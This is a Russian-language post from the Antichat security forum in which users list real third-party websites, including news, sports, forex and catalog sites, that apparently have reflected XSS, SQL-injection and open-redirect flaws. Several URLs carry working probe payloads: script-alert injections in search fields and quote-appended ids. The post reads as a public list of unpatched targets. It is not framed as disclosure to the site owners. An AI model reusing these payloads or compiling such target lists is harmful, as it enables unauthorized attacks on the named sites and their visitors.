ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Баг на одном из сайтом GanjaWars :
http://www.ganjubass.com/object.php?id=1869'0

h_ttp://www.fifa.com/en/news/searchresult.html?searchtext=%22%3E%3Cscript%3Eale rt('nafik+etot+futbol=)')%3C/script%3E

ЗЫ привет кловер))

__________________

_http://www.rupoisk.ru/index.php -алерт в поиске

_http://blog.seotext.ru/internet/138 -алерт в поиске

_http://www.kommersant.ru/archive/archive-today.html -алерт поиске

_http://www.forextimes.ru/find/?find=&submitform.x=5&submitform.y=7 -алерт в поиске

_http://newsinfo.ru/search.php?auth_logout=0 -алерт в поиске

_http://www.newsmusic.ru/news_3_2093.htm -алерт в поиске

_http://www.jewish.ru/search.php -алерт в поиске

_http://c55.forates.com/item_145848.html -алерт в поиске

_http://comparative.edu.ru:9080/PortalWeb/Find -алерт в поиске

Вот,кстати, сайтец и форум интересные,но

_http://links.powernet.com.ru/soft.php?ganr=16'

На www.hotmail.com при регистрации идет редирект:
http://switch.atdmt.com/action/msn_h...tp://www.ya.ru

Kaban а не легче давать просто линки на алерт а не писать что есть алерт в поиске.

Вот тебе пример:
http://www.forextimes.ru/find/?find='><script>alert('xss')</script>

http://www.canadaontheweb.ca/canada/search.html?query='><script>alert()</script>

http://www.kalitka-plitka.ru/catalog/?id=16&sub=32&stuff=28&PHPSESSID=e290f7c002397d6fa 05d621d31948b'26

http://catalog.begun.ru/?q="><script>alert('dracula4ever')</script>